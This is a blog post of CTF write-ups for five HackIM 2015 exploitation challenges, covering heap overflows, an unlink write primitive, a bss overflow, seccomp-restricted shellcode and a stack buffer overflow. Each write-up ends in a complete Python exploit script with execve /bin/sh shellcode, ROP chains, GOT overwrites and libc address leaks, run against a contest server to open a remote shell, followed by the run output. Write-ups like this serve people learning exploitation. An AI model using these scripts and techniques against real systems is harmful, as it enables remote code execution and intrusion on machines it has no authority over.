Friday, January 16, 2015

HACKIM CTF 2015 - Exploitation 5

Binary implements a circular linked list to store key:value pair. Each chunk is 32 bytes which looks like below
struct node{
    char key[16];
    int size;
    char *value;
    struct node *next;
    struct node *prev;
}
Vulnerability is similar to exploitation 4, size of value chunk is allocated based on user input and size info is stored. But during edit, this size info is not checked and one could overflow into adjacent chunk. To place the value chunk of 1st node right before 2nd note, I allocated it to be 32 byte similar to size of struct node. Now overflowing value chunk will overwrite pointers in 2nd node.

get@0x08048A6A feature provides a write anything anywhere primitive

*(_DWORD *)(*((_DWORD *)ptr_to_head + 6) + 28) = *((_DWORD *)ptr_to_head + 7); //current->next->previous = current->previous

*(_DWORD *)(*((_DWORD *)ptr_to_head + 7) + 24) = *((_DWORD *)ptr_to_head + 6); // current->previous->next = current->next
But NX is enabled, making above primitive hard as both the address needs to be writable. We have better primitive in edit@0x08048BDB feature. By overwriting value pointer, we could read() into arbitrary address. So the idea is to overwrite 3rd DWORD with address of some GOT entry.

Stack Pivot

I couldn't find any proper way to pivot stack into heap for ROP. So I used fgets() to overflow stack and make ESP point to user controlled buffer. Below is the idea

[*] Overwrite GOT entry of some function with address of text segment to setup fgets() call.
.text:08048E6C                 mov     eax, ds:stdin
.text:08048E71                 mov     [esp+8], eax    ; stream
.text:08048E75                 mov     dword ptr [esp+4], 255 ; n
.text:08048E7D                 lea     eax, [ebp+s]    ; lea  eax,[ebp-0x10c] 
.text:08048E83                 mov     [esp], eax      ; s
.text:08048E86                 call    _fgets  
[*] The lea eax,[ebp-0x10c] will end up in address lower in stack than the current stack frame, if the function has smaller stack frame
[*] Copying data into this stack might end up overwriting saved EIP before fgets() returns from libc

I decided to overwrite strncmp function, which gets called at 0x08048D59. This function has a small stack, thereby fgets overflows inside libc.
gdb-peda$ x/30x 0xfffa5fa4
0xfffa5fa4: 0xf760d483 0xf76dd000 0xf76ddc20 0x000000fe
0xfffa5fb4: 0xf76ddc20 0xf75a33e9 0x43434343 0x43434343
0xfffa5fc4: 0x43434343 0x43434343 0x43434343 0x43434343
0xfffa5fd4: 0x43434343 0x43434343 0x43434343 0x43434343
0xfffa5fe4: 0x43434343 0x43434343 0x43434343 0x43434343
0xfffa5ff4: 0x0a434343 0xf759748b 0xfffa5fbd 0xf76ff001
0xfffa6004: 0x0000003b 0x0000000e 0x0000000a 0x00000001
0xfffa6014: 0xfffa5fbd 0xf76ff03c
gdb-peda$ x/i 0xf759748b
   0xf759748b <_IO_getline_info+283>: mov    ecx,DWORD PTR [esp+0x1c]
64 bytes will overwrite the saved return address to _IO_getline_info. One can use ret as NOP if the offsets vary in remote machine.

Then libc address could be leaked and system@libc could be called to get shell

Below is the full exploit:
#!/usr/bin/env

import socket
import telnetlib
import struct
import time

ip = "127.0.0.1"
ip = "54.163.248.69"
port = 9005

soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect((ip, port))

msg = dict()
msg['SELECT']  = 'Select op (store/get/edit/exit): '
msg['NAME']    = 'Name: '
msg['SIZE']    = 'Size: '
msg['DATA']    = 'Enter data: '
msg['NEWDATA'] = 'Enter new data: '
msg['INVALID'] = 'Invalid input\n'

def recv_msg(delimiter):
    global soc
    rbuffer = ''
    while not rbuffer.endswith(delimiter):
        rbuffer += soc.recv(1)
    return rbuffer

def send_msg(m):
    global soc
    soc.send(m + chr(0xa))

# create first note
print "[*] Creating 1st node"
recv_msg(msg['SELECT'])
send_msg('store')
recv_msg(msg['NAME'])
send_msg('A')
recv_msg(msg['SIZE'])
send_msg('32')
recv_msg(msg['DATA'])
send_msg('AAAA')
send_msg('')

# create second note
print "[*] Creating 2nd node"
recv_msg(msg['SELECT'])
send_msg('store')
recv_msg(msg['NAME'])
send_msg('B')
recv_msg(msg['SIZE'])
send_msg('32')
recv_msg(msg['DATA'])
send_msg('BBBB')
send_msg('')

#edit first note to overflow into second note
print "[*] Overflowing into 2nd node, setting up strncmp() for overwrite"
recv_msg(msg['SELECT'])
send_msg('edit')
recv_msg(msg['NAME'])
send_msg('A')
recv_msg(msg['SIZE'])
send_msg('256')
recv_msg(msg['NEWDATA'])

got_strncmp = 0x0804b058
payload  = "H" * 40     # overflow
payload += "B" + chr(0)*15                # key
payload += struct.pack("<I", 32)    # size
payload += struct.pack("<I", got_strncmp) # ptr to value, overwrite with GOT entry of strncmp

send_msg(payload)
recv_msg(msg['INVALID'])

#edit second note to trigger the crash
print "[*] Overwriting strncmp() to pivot stack using fgets()"
recv_msg(msg['SELECT']) 
send_msg('edit')
recv_msg(msg['NAME'])
send_msg('B')
recv_msg(msg['SIZE'])
send_msg('256')
recv_msg(msg['NEWDATA'])
fgets_ret = 0x08048E6C
send_msg(struct.pack("<I", fgets_ret)) # pivot stack by overflowing stack inside fgets

# trigger stack based buffer overflow
print "[*] Creating buffer overflow inside fgets()"
recv_msg(msg['SELECT']) 


got_libc_start_main= 0x0804b044
rop  = "C"*60
# read GOT entry of __libc_start_main
rop += struct.pack("<I", 0x080486c6) # write@plt+6
rop += struct.pack("<I", 0x08048f4d) # pop esi ; pop edi ; pop ebp ; ret
rop += struct.pack("<I", 0x00000001)
rop += struct.pack("<I", got_libc_start_main)
rop += struct.pack("<I", 0x00000004)

# overwrite GOT entry of strcmp with system()
rop += struct.pack("<I", 0x080485e6) # read@plt+6
rop += struct.pack("<I", 0x08048f4d) # pop esi ; pop edi ; pop ebp ; ret
rop += struct.pack("<I", 0x00000000)
rop += struct.pack("<I", 0x0804b00c)
rop += struct.pack("<I", 0x00000004)
sh_string = 0x8048386
rop += struct.pack("<I", 0x080485d0) # plt@strcmp
rop += struct.pack("<I", 0xdeadbeef) 
rop += struct.pack("<I", sh_string)  # sh -> /bin/sh
send_msg(rop)

print "[*] Leaking libc address"
leaked_libc_start = soc.recv(4)
leaked_libc_start = struct.unpack("<I", leaked_libc_start)[0]
print "[*] Address of __libc_start_main() : %s" % hex(leaked_libc_start)

system_offset = 0x26770
system_addres = leaked_libc_start + system_offset
print "[*] Address of system() : %s" % hex(system_addres)
system_addres = struct.pack("<I", leaked_libc_start + system_offset)
send_msg(system_addres)

print "[*] Shell"
s = telnetlib.Telnet()
s.sock = soc
s.interact()
renorobert@ubuntu:~/HackIM/mixmes$ python sploit_mixme_poc.py 
[*] Creating 1st node
[*] Creating 2nd node
[*] Overflowing into 2nd node, setting up strncmp() for overwrite
[*] Overwriting strncmp() to pivot stack using fgets()
[*] Creating buffer overflow inside fgets()
[*] Leaking libc address
[*] Address of __libc_start_main() : 0xb75f9990
[*] Address of system() : 0xb7620100
[*] Shell
cat flag.txt
aw3s0m3++_hipp1e_pwn_r0ckst4r
Flag for the challenge is aw3s0m3++_hipp1e_pwn_r0ckst4r

HACKIM CTF 2015 - Exploitation 4

Exploitation 4 was a 32 bit ELF without NX protection. The binary implements a custom allocator using sbrk. Each chunk holds a metadata of 12 byte. First DWORD holds the size and last bit is set if the chunk is used. 2nd DWORD points to next chunk and 3rd DWORD points to previous chunk. Rest of details of allocator could be skipped for understanding this exploit.

Deallocator routine implements a unlink operation for freeing chunks. It has a bug when computing address of header, the deallocator does (pointer-16) when the header is only 12 bytes.
Please enter one of the following option:
1 to add a Note.
2 to delete a Note.
3 to edit a Note.
4 to show a Note.
5 to exit.
Your Choice:
1
Give the type of the Note:
0
Please enter one of the following option:
1 to add a Note.
2 to delete a Note.
3 to edit a Note.
4 to show a Note.
5 to exit.
Your Choice:
2
Give the Note id to delete:
0
Segmentation fault (core dumped)
These details will be useful during exploitation.

Vulnerability

The binary allows to add notes for each predefined 3 types. Type 0 allocating 100 bytes, type 1 allocating 200 bytes and type 2 allocating 400 bytes for notes. bss section maintains an array of all allocated chunks which could be accessed using id.

The vulnerability is because, type information is not saved. During edit operation, type information could be changed so that 200 or 400 bytes could be read into a 100 byte chunk. there by corrupting metadata of adjacent chunks.

Deallocator routine


chunk_to_delete = ptr - 16; // wrong index
next_ptr = *(_DWORD *)(ptr - 16 + 4);  // size is read
prev_ptr = *(_DWORD *)(ptr - 16 + 8); // next_ptr is read

if ( prev_ptr )
   *(_DWORD *)(prev_ptr + 4) = next_ptr; // if not first node, next->next = current-> size

if ( next_ptr ) 
   *(_DWORD *)(next_ptr + 8) = prev_ptr; // if not last node,  size->prev = current-> next 

By overwriting the metadata of chunk, we could get a write anything anywhere primitive.

ASLR bypass and Exploit

Though we have info leak using show Note feature, we could allocate a 3rd chunk and overwrite this with shellcode. In the 2nd chunk preserve the 2nd DWORD, except for 1 byte newline overwrite(this will be read as previous pointer). Overwrite size DWORD with address that needs to be overwritten, GOT entry of puts() in our case. This will be read as next pointer.

Since next_ptr is GOT of puts() and prev_ptr is address of 3rd chunk with shellcode, we could reliably overwrite the GOT entry to get shell. Below is the full exploit
#!/usr/bin/env python

import struct
import telnetlib
import socket

nop = chr(0x90) * 30
jmp = '9090eb1c'.decode('hex')
execve = '31c9f7e151682f2f7368682f62696e89e3b00bcd80'.decode('hex')
payload = jmp + nop + execve
puts = 0x0804b014

ip = "127.0.0.1"
ip = "54.163.248.69"
port = 9004
soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect((ip, port))

msg = dict()
msg['CHOICE']    = 'Your Choice:\n'
msg['NOTETYPE']  = 'Give the type of the Note:\n'
msg['DELETEID']  = 'Give the Note id to delete:\n'
msg['EDITID']    = 'Give the Note id to edit:\n'
msg['EDITTYPE']  = 'Give the type to edit:\n' 
msg['SETNOTE']   = 'Give your Note:\n'
msg['GETNOTE']   = 'Give the Noteid to print:\n'

def recv_msg(delimiter):
    global soc
    rbuffer = ''
    while not rbuffer.endswith(delimiter):
        rbuffer += soc.recv(1)
    return rbuffer

def send_msg(m):
    global soc
    soc.send(m + chr(0xa))

print "[*] Creating 1st note"
recv_msg(msg['CHOICE'])
# add 1st note
send_msg('1')
recv_msg(msg['NOTETYPE'])
# set type to 0
send_msg('0')

print "[*] Creating 2nd note"
recv_msg(msg['CHOICE'])
# add 2nd note
send_msg('1')
recv_msg(msg['NOTETYPE'])
# set type to 0
send_msg('0')

print "[*] Creating 3rd note"
recv_msg(msg['CHOICE'])
# add 3rd note
send_msg('1')
recv_msg(msg['NOTETYPE'])
# set type to 0
send_msg('0')

print "[*] Setting up payload in 3rd note by editing 2nd"
recv_msg(msg['CHOICE'])
# edit 2nd note to overflow into 3rd for ASLR bypass
send_msg('3')
recv_msg(msg['EDITID'])
# edit first chunk
send_msg('1')
recv_msg(msg['EDITTYPE'])
# change note type
send_msg('2')
recv_msg(msg['SETNOTE'])
send_msg('A'*110 + payload)

print "[*] Overwriting pointers in 2nd note by editing 1st"
recv_msg(msg['CHOICE'])
# edit 1st note to overflow into 2nd
send_msg('3')
recv_msg(msg['EDITID'])
# edit 0th chunk
send_msg('0')
recv_msg(msg['EDITTYPE'])
# change note type
send_msg('2')
recv_msg(msg['SETNOTE'])
send_msg('A'*116 + struct.pack("<I", puts - 8))

print "[*] Deleting 2nd note to overwrite GOT entry of puts()"
recv_msg(msg['CHOICE'])
# trigger by delete
send_msg('2')
recv_msg(msg['DELETEID'])
# delete 2nd note
send_msg('1')

print "[*] Shell"
s = telnetlib.Telnet()
s.sock = soc
s.interact()

renorobert@ubuntu:~/HackIM/MentalNotes$ python sploit_mentalnote.py 
[*] Creating 1st note
[*] Creating 2nd note
[*] Creating 3rd note
[*] Setting up payload in 3rd note by editing 2nd
[*] Overwriting pointers in 2nd note by editing 1st
[*] Deleting 2nd note to overwrite GOT entry of puts()
[*] Shell
cat flag.txt
flag{y0u_br0k3_1n70_5h3rl0ck_m1ndp4l4c3}
Flag for the challenge is flag{y0u_br0k3_1n70_5h3rl0ck_m1ndp4l4c3}

HACKIM CTF 2015 - Exploitation 3

The binary allows to set key:value pair and retrieve them using the key. Values are copied into bss area and key is stored in heap using a singly linked list. This is what a node looks like
struct node{
    char key[256];
    char *value;
    struct node *next;
}
Pointer to last inserted node and node count is maintained in bss. value is a pointer to bss area, chunked into sizes of 4096 bytes. fgets function @ 0x08048C3C reads large input as:
fgets(bss_buffer, 20479, stdin) 
Vulnerability is in memcpy function @ 0x08048B2B as it copies value for key into the bss buffer
memcpy(bss + (4096*nodecount), value, strlen(value))
Using this we could overflow chunked buffer in bss. The goal of the challenge is to read the value for key key.

One could overwrite pointer to linked list which is stored in bss or we could fill 4096 bytes for one key and copy flag into adjacent chunk, so that they are not separated by NUL byte. This way we could dump the flag by reading the first key. Below is the solution
#!/usr/bin/env python

import socket

ip = '127.0.0.1'
ip = '54.163.248.69'
port = 9003

soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect((ip, port))
COMMAND = 'Command% '

def recv_msg(delimiter):
    global soc
    rbuffer = ''
    while not rbuffer.endswith(delimiter):
 rbuffer += soc.recv(1)
    return rbuffer

recv_msg(COMMAND)

# bss - fill entire 4096 bytes to concatenate flag
com = 'set O ' + 'A' * 4096 + chr(0xa)
soc.send(com)
recv_msg(COMMAND)

# read flag into adjacent buffer
com = 'set key' + chr(0xa)
soc.send(com)
recv_msg(COMMAND)

# read first key:value to dump the flag
soc.send('get O' + chr(0xa))
print recv_msg(COMMAND)[4096:]
Flag for the challenge is flag{YesItSy0urP13c30fC4k3}

HACKIM CTF 2015 - Exploitation 2

The binary makes 2 mmap() calls. One region is RWX into which user supplied shellcode is copied and executed. Flag is copied into other region. Then seccomp is used to restrict syscalls that we could make. The white list includes read, write, exit and exit_group syscalls. In current Linux ASLR, two mmap'ed region will be placed adjacent to each other. Knowing the address of one region, we could compute the address of other as the offsets are fixed. This is what the memory looks like
gdb-peda$ vmmap 
Start      End        Perm Name
0xf7fd6000 0xf7fd8000 rwxp mapped
0xf7fd8000 0xf7fdb000 rw-p mapped
gdb-peda$ x/s 0xf7fd8000
0xf7fd8000: "thisisaflag" 
So we need a shellcode to write the flag to stdout from a known offset. Below is the solution:
#!/usr/bin/env python

import socket

ip = "127.0.0.1"
ip = "54.163.248.69"
port = 9001

soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect((ip, port))

# nasm > mov eax, 0x4
# 00000000  B804000000        mov eax,0x4
# nasm > mov ebx, 0x1
# 00000000  BB01000000        mov ebx,0x1
# nasm > lea ecx, [ecx+0x2000]
# 00000000  8D8900200000      lea ecx,[ecx+0x2000]
# nasm > mov edx, 0x100
# 00000000  BA00010000        mov edx,0x100
# nasm > int 0x80
# 00000000  CD80              int 0x80

payload  = 'B804000000BB010000008D8900200000BA00010000CD80'.decode('hex') 

soc.send(payload + chr(0xa))
print soc.recv(0x100)
Flag for the challenge is d3sp3r4t3_sh3llc0d3

HACKIM CTF 2015 - Exploitation 1

Exploitation 1 was a 32 bit ELF without NX protection. The vulnerability is a buffer overflow in stack using echo command during sprintf() call at 0x080489BF. snprintf() copies 8191 bytes of data supplied by read() into 0x78 byte buffer causing the overflow. Suppling 122 bytes along with echo: [6 bytes] will overwrite the saved EIP. Also there is a nice jmp esp gadget to bypass ASLR. Below is the exploit
#!/usr/bin/env python

import socket
import telnetlib
import struct

ip = "127.0.0.1"
ip = "54.163.248.69"
port = 9000

dup    = '31c031db31c9b103fec9b03fb304cd8075f6'.decode('hex')
execve = '31c9f7e151682f2f7368682f62696e89e3b00bcd80'.decode('hex')
shellcode = dup + execve

soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect((ip, port))
soc.recv(16)
jmp_esp = 0x080488b0

payload  = "echo "
payload += "A" * 118
payload += struct.pack("<I", jmp_esp)
payload += shellcode
soc.send(payload + chr(0xa))

print "[*] Shell"
s = telnetlib.Telnet()
s.sock = soc
s.interact()
Flag for the challenge is aleph1-to-the-rescue++